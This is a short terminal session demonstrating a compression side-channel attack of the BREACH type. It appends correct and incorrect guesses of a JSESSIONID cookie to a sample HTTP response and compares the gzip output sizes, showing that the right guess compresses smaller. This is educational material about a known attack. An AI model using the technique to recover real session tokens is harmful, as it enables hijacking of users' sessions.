test

~$ cd guess/
guess$ ls
correct_guess  incorrect_guess	test

guess$ cat test
HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Sat, 03 Aug 2013 11:03:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12671
Connection: keep-alive
Expires: Sat, 3 Aug 2013 11:03:49 GMT
Set-Cookie: JSESSIONID=b5zkjbmmfu0e;Path=/
Cache-Control: no-cache, private, no-store
Pragma: no-cache
X-Lift-Version: 3.0-SNAPSHOT
X-NO-BREACH: JSESSIONID=jsk3kfls9qo0e JSESSIONID=0sld92laxao1 JSESSIONID=hwpq02kdlwa1

Start correctly guessing the real JSESSION value:

guess$ cd correct_guess/
correct_guess$ cp ../test ./test
correct_guess$ gzip -c test > test.1
correct_guess$ echo -n "Set-Cookie: JSESSIONID=b" >> test
correct_guess$ gzip -c test > test.2
correct_guess$ echo -n "5zkj" >> test
correct_guess$ gzip -c test > test.3
correct_guess$ gzip -l --verbose test.*
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla b8ca316d Aug  3 12:31                 309                 413  32.7% test.1
defla 6c0620b4 Aug  3 12:31                 310                 437  36.2% test.2
defla 2cba15fb Aug  3 12:31                 311                 441  36.5% test.3
                                            930                1291  30.4% (totals)

Start incorrectly guessing the JSESSION value:

guess$ cd incorrect_guess/
incorrect_guess$ cp ../test .
incorrect_guess$ gzip -c test > test.1
incorrect_guess$ echo -n "Set-Cookie: JSESSIONID=a" >> test
incorrect_guess$ gzip -c test > test.2
incorrect_guess$ echo -n "kk0r" >> test
incorrect_guess$ gzip -c test > test.3
incorrect_guess$ gzip -l --verbose test.*
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla b8ca316d Aug  3 12:31                 309                 413  32.7% test.1
defla f50f710e Aug  3 12:32                 311                 437  35.9% test.2
defla 170fc234 Aug  3 12:32                 313                 441  36.1% test.3
                                            933                1291  30.1% (totals)